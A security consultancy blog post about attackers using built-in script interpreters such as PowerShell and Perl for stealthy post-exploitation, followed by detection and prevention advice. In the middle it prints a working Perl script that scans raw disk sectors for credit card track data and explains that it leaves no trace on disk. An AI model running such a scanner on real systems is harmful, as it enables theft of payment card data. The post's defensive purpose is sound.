*This blog entry was originally published on March 15, 2016 on the original Polito Blog by Ian Duffy. It was re-posted on October 3, 2017 due to migrating to a new blog platform.
Polito is observing a trend towards disuse of bespoke / purpose-built tools by attackers for post-exploitation activities on systems. Such tools can be complex, expensive to build and maintain, and difficult to rebuild or re-signature if they are detected. More stealthy adversaries tend to "live off the land" and use native operating system tools and built-in utilities to maintain their foothold within the network. This increases stealth and decreases likelihood of detection since tools like antivirus and application whitelisting tend not to detect or block execution of native OS binaries. One popular approach that has been seen by Mandiant is the use of PowerShell and WMI for persistence of malicious code. (Kazanciyan, Hastings, BH 2014). Tools like PowerSploit (PowerSploit) have been developed specifically for post exploitation activities. The primary advantage of these tools is that the interpreter is not flagged as malicious, and in their default configuration, do not record activities of the attacker. For example, an attacker can use the interpreter interactively and copy / paste code into the interpreter via an interactive session, and no malicious scripts or code are left on disk for an investigator to discover.
Other interpreted languages such as Python, Perl, JavaScript, VBScript, and even C# (via scriptcs) can also be used for post exploitation, although Windows only provides native interpreters for PowerShell, JavaScript and VBScript. Other languages will require 'BYOI' - bring your own interpreter. The advantage in a BYOI situation is that none of the interpreters are flagged by antivirus, and custom post-exploitation code can be developed rapidly and with a low likelihood of detection. The disadvantage of BYOI is that it requires installation of executables on the target system which may not be feasible in an environment where whitelisting is enabled and may facilitate detection of post-exploitation activities in a well-monitored environment. However, it has been our experience that many of the interpreters for common languages such as Python and Perl are frequently used by administrators, and thus may already be installed on systems when they get exploited. Often in large organizations the use of these interpreters - when, on what systems, and by whom - is not well documented as part of a configuration management / change control process.
So now we have interactive access to a system, and we have access to an interpreter of our choice. What can we do? With PowerShell we can access any native Win32 API function by using function delegates (mattifestation, 2012), leaving the door wide open for custom scripts that can do just about anything that can otherwise be done with native C code in userspace. In Perl, we can use the Win32API module to access the native Win32 API and call functions just as if we were executing a native Windows C executable. For example, here is a code snippet that searches raw disk sectors for credit card numbers:
#!/usr/bin/perl
use Win32API::File;
$hDisk = Win32API::File::CreateFile( "//./PhysicalDrive0", Win32API::File::GENERIC_READ(),
0, [],
Win32API::File::OPEN_EXISTING(), 0, [] )
or die "Unable to open Hard Drive. $^E\n";
if (!$hDisk) {
print $^E;
}
$opbuffer = "";
$counter = 0;
local $| = 1;
sub luhnCheck {
$number = $_[0];
$number=~s,[^0-9],,g;
my($sum,$odd);
foreach my $n (reverse split(//,$number)) {
$odd=!$odd;
if($odd) {
$sum+=$n;
} else {
my $x=2*$n;
$sum+=$x>9?$x-9:$x;
}
}
my $ok = 0+(($sum%10)==0);
return(!($sum%10)!=0);
}
while (Win32API::File::ReadFile($hDisk, $opbuffer, 512, [], [])) {
if ($opbuffer =~ /<Track2>([\d\s]{16,20})\=([\d\s]{7,20})<\/Track2>/) {
if (luhnCheck($1)) {
print " Found possible CC#: $1\n";
}
}
print "\b" x length($progressString) if defined $progressString;
$progressString = "Sector $counter";
print $progressString;
$counter++;
}
print "\nCompleted Scan.\n";
The above code can be copied and pasted into an interactive Perl prompt and executed without leaving a trace of the script or its malicious functionality on disk. With nearly complete access to the Win32 API in interpreted languages, the possibilities for threat actors to perform malicious activity in a stealthy manner via these interpreters are endless.
Defending Against Use of Interpreters as an Attack Vector
So how do we defend against use of these interpreters in an enterprise network? After all, these languages provide valuable capability to systems administrators to automate routine tasks, collect and analyze data, and interact with various systems and data on the network. So should we restrict the use of these interpreters? Keep in mind that many of these interpreters are installed by default on Windows, so it may not be feasible to completely remove them from systems. Some actions that we recommend to be able to detect malicious use of these interpreted languages include:
Enable logging of execution of these interpreters - Microsoft Sysmon can be used to log execution of programs on endpoints, and this log data can be sent to a SIEM solution for analysis. (Foss, 2015) Use of interpreted languages such as PowerShell and other built-ins such as JavaScript (via mshta.exe) and VBScript (via cscript.exe) should be closely monitored.
For PowerShell, consider using built-in logging capability that is available in the newer versions of PowerShell - versions 4.0 and 5.0 have extended logging functionality. (Dunwoody, 2016)
Implement policy regarding who can and cannot use language interpreters. Maintain a log of users who have permission to use the interpreters and scan for policy exceptions / violations via system logs. Investigate any discrepancies. Consider policy enforcement via a tool like AppLocker.
Where scripts are copied and pasted into an interactive session with the language interpreter, there will not likely be any script resident on disk that can be analyzed for malicious content. However, the contents of the script and/or indicators of its activity may be resident in memory. If malicious activity is suspected on a system via one of these interpreted languages, consider a process or full memory dump for analysis.
Consider application whitelisting to disallow interpreters except on those systems or for those users who have a policy exception (See #2)
Polito, Inc. offers a wide range of security consulting services including penetration testing, vulnerability assessments, incident response, digital forensics, and more. If your business or your clients have any cyber security needs, contact our experts and experience what Masterful Cyber Security is all about.
E-mail: info@politoinc.com
Phone: 571-969-7039
Website: politoinc.com
Comments